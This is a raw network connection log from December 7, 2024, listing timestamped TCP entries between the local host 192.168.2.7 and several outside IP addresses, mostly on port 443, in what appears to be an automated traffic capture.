Dec 7, 2024 17:36:10.558073044 CET	443	49848	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:10.705153942 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:11.017816067 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.017940044 CET	49843	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:36:11.021693945 CET	49843	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:36:11.021716118 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.021948099 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.032145023 CET	49843	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:36:11.079339981 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.301444054 CET	49852	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:36:11.301472902 CET	443	49852	142.250.181.100	192.168.2.7
Dec 7, 2024 17:36:11.301626921 CET	49852	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:36:11.302087069 CET	49852	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:36:11.302103996 CET	443	49852	142.250.181.100	192.168.2.7
Dec 7, 2024 17:36:11.606746912 CET	443	49844	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:11.607393980 CET	49844	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:11.607417107 CET	443	49844	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:11.607992887 CET	49844	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:11.607999086 CET	443	49844	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:11.682478905 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.682507038 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.682523012 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.682580948 CET	49843	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:36:11.682609081 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.682643890 CET	49843	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:36:11.682672977 CET	49843	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:36:11.720403910 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.720436096 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.720479965 CET	49843	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:36:11.720493078 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.720506907 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.720525980 CET	49843	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:36:11.720554113 CET	49843	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:36:11.721786976 CET	49843	443	192.168.2.7	20.109.210.53
Dec 7, 2024 17:36:11.721802950 CET	443	49843	20.109.210.53	192.168.2.7
Dec 7, 2024 17:36:11.785814047 CET	443	49845	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:11.788413048 CET	49845	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:11.788422108 CET	443	49845	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:11.788911104 CET	49845	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:11.788914919 CET	443	49845	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.041661978 CET	443	49844	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.044778109 CET	443	49844	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.044892073 CET	49844	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.044935942 CET	49844	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.044935942 CET	49844	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.044955015 CET	443	49844	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.044965029 CET	443	49844	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.048113108 CET	49854	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.048160076 CET	443	49854	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.048326969 CET	49854	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.048476934 CET	49854	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.048497915 CET	443	49854	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.126955986 CET	443	49846	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.127500057 CET	49846	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.127516985 CET	443	49846	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.128067970 CET	49846	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.128073931 CET	443	49846	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.222739935 CET	443	49845	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.226310015 CET	443	49845	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.226368904 CET	49845	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.226457119 CET	49845	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.226469040 CET	443	49845	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.226567030 CET	49845	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.226576090 CET	443	49845	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.230046988 CET	49855	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.230091095 CET	443	49855	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.230190992 CET	49855	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.230390072 CET	49855	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.230402946 CET	443	49855	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.277683973 CET	443	49849	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.278220892 CET	49849	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.278245926 CET	443	49849	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.278707027 CET	49849	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.278711081 CET	443	49849	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.281274080 CET	443	49848	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.281636000 CET	49848	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.281656027 CET	443	49848	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.281984091 CET	49848	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.281989098 CET	443	49848	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.563555956 CET	443	49846	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.566622019 CET	443	49846	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.566688061 CET	49846	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.566750050 CET	49846	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.566772938 CET	443	49846	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.566787958 CET	49846	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.566793919 CET	443	49846	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.575160980 CET	49856	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.575196028 CET	443	49856	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.575299025 CET	49856	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.575562954 CET	49856	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.575571060 CET	443	49856	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.712292910 CET	443	49849	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.715241909 CET	443	49849	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.715297937 CET	49849	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.715822935 CET	443	49848	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.717843056 CET	49849	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.717849016 CET	443	49849	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.717859030 CET	49849	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.717863083 CET	443	49849	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.719449997 CET	443	49848	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.719513893 CET	443	49848	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.719561100 CET	49848	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.722088099 CET	49848	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.722095966 CET	443	49848	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.722106934 CET	49848	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.722117901 CET	443	49848	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.733781099 CET	49857	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.733833075 CET	443	49857	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.733905077 CET	49857	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.736154079 CET	49858	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.736171961 CET	443	49858	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.736306906 CET	49858	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.736383915 CET	49857	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.736399889 CET	443	49857	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.736597061 CET	49858	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:12.736604929 CET	443	49858	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:12.891371012 CET	49859	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:12.891413927 CET	443	49859	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:12.891493082 CET	49859	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:12.893222094 CET	49859	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:12.893237114 CET	443	49859	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:12.999412060 CET	443	49852	142.250.181.100	192.168.2.7
Dec 7, 2024 17:36:12.999744892 CET	49852	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:36:12.999767065 CET	443	49852	142.250.181.100	192.168.2.7
Dec 7, 2024 17:36:13.000741959 CET	443	49852	142.250.181.100	192.168.2.7
Dec 7, 2024 17:36:13.000802994 CET	49852	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:36:13.002131939 CET	49852	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:36:13.002197027 CET	443	49852	142.250.181.100	192.168.2.7
Dec 7, 2024 17:36:13.053369999 CET	49852	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:36:13.053406954 CET	443	49852	142.250.181.100	192.168.2.7
Dec 7, 2024 17:36:13.100625038 CET	49852	443	192.168.2.7	142.250.181.100
Dec 7, 2024 17:36:13.563306093 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:13.563343048 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:13.563441992 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:13.563971043 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:13.563981056 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:13.779122114 CET	443	49854	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:13.779733896 CET	49854	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:13.779761076 CET	443	49854	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:13.781248093 CET	49854	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:13.781255960 CET	443	49854	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:13.810534954 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:13.810575008 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:13.810655117 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:13.810857058 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:13.810870886 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:13.979684114 CET	443	49855	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:13.983386993 CET	49855	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:13.983417034 CET	443	49855	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:13.984133959 CET	49855	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:13.984138966 CET	443	49855	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.221569061 CET	443	49854	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.225578070 CET	443	49854	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.225676060 CET	49854	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.228375912 CET	49854	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.228400946 CET	443	49854	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.228434086 CET	49854	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.228441000 CET	443	49854	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.231812000 CET	49864	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.231852055 CET	443	49864	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.231937885 CET	49864	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.232316017 CET	49864	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.232330084 CET	443	49864	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.309998035 CET	443	49856	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.310492039 CET	49856	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.310525894 CET	443	49856	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.311959028 CET	49856	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.311974049 CET	443	49856	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.319382906 CET	443	49859	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:14.319475889 CET	49859	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:14.322247028 CET	49859	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:14.322257042 CET	443	49859	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:14.322534084 CET	443	49859	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:14.363873005 CET	49859	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:14.411339045 CET	443	49859	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:14.419367075 CET	443	49855	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.419433117 CET	443	49855	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.419506073 CET	49855	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.419867039 CET	49855	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.419891119 CET	443	49855	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.419902086 CET	49855	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.419908047 CET	443	49855	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.435775042 CET	49865	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.435816050 CET	443	49865	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.435992002 CET	49865	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.436125040 CET	49865	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.436144114 CET	443	49865	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.489689112 CET	443	49858	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.489885092 CET	443	49857	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.490282059 CET	49858	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.490324020 CET	443	49858	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.490344048 CET	49857	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.490365982 CET	443	49857	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.490776062 CET	49858	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.490789890 CET	443	49858	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.491115093 CET	49857	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.491120100 CET	443	49857	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.745910883 CET	443	49856	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.749000072 CET	443	49856	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.749051094 CET	443	49856	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.749063015 CET	49856	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.749104977 CET	49856	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.749135971 CET	49856	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.749155045 CET	443	49856	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.749166012 CET	49856	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.749172926 CET	443	49856	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.752959967 CET	49866	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.752991915 CET	443	49866	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.753083944 CET	49866	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.753242970 CET	49866	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.753252983 CET	443	49866	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.847989082 CET	443	49859	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:14.848066092 CET	443	49859	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:14.848251104 CET	49859	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:14.923516989 CET	443	49857	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.923952103 CET	443	49858	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.924053907 CET	443	49858	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.924097061 CET	443	49858	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.924102068 CET	49858	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.924141884 CET	49858	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:14.926637888 CET	443	49857	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:14.926719904 CET	49857	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.138998985 CET	49859	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:15.139029026 CET	443	49859	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:15.140577078 CET	49857	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.140593052 CET	443	49857	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.140608072 CET	49857	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.140614986 CET	443	49857	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.140754938 CET	49858	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.140778065 CET	443	49858	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.140788078 CET	49858	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.140794992 CET	443	49858	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.158587933 CET	49867	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.158616066 CET	443	49867	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.158730030 CET	49867	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.169049025 CET	49868	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.169079065 CET	443	49868	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.169167042 CET	49868	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.171236992 CET	49867	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.171258926 CET	443	49867	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.172425985 CET	49868	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.172444105 CET	443	49868	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.201441050 CET	49869	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:15.201467037 CET	443	49869	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:15.201654911 CET	49869	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:15.202114105 CET	49869	443	192.168.2.7	2.16.229.162
Dec 7, 2024 17:36:15.202127934 CET	443	49869	2.16.229.162	192.168.2.7
Dec 7, 2024 17:36:15.289865971 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.291613102 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.291625023 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.292505026 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.292573929 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.295080900 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.295134068 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.295351982 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.295357943 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.336208105 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.530988932 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.531295061 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.531316042 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.532388926 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.532460928 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.533592939 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.533654928 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.533860922 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.533868074 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.585875988 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.783651114 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.783675909 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.783704996 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.783714056 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.783724070 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.783736944 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.783761024 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.783795118 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.783808947 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.785442114 CET	49872	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.785474062 CET	443	49872	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.785626888 CET	49872	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.786068916 CET	49872	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.786083937 CET	443	49872	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.966120958 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.966140985 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.966202974 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.966219902 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.966288090 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.988065958 CET	443	49864	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.988626957 CET	49864	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.988637924 CET	443	49864	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:15.994326115 CET	49864	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:15.994330883 CET	443	49864	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.014228106 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.014245033 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.014302015 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.014307022 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.014338017 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.014921904 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.014945984 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.014955997 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.014969110 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.014976978 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.014982939 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.014998913 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.015008926 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.015033960 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.015055895 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.139008999 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.139034986 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.139123917 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.139132023 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.139183044 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.149545908 CET	443	49865	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.151983023 CET	49865	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.152009964 CET	443	49865	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.152609110 CET	49865	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.152615070 CET	443	49865	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.173110962 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.173127890 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.173188925 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.173192978 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.173233986 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.192951918 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.192969084 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.193032026 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.193039894 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.193120003 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.203341007 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.203366041 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.203407049 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.203418970 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.203452110 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.203475952 CET	49863	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.209788084 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.209804058 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.209853888 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.209857941 CET	443	49862	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.209896088 CET	49862	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:16.255486012 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.255506039 CET	443	49863	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:16.255548000 CET	49863	443	192.168.2.7	13.107.246.63
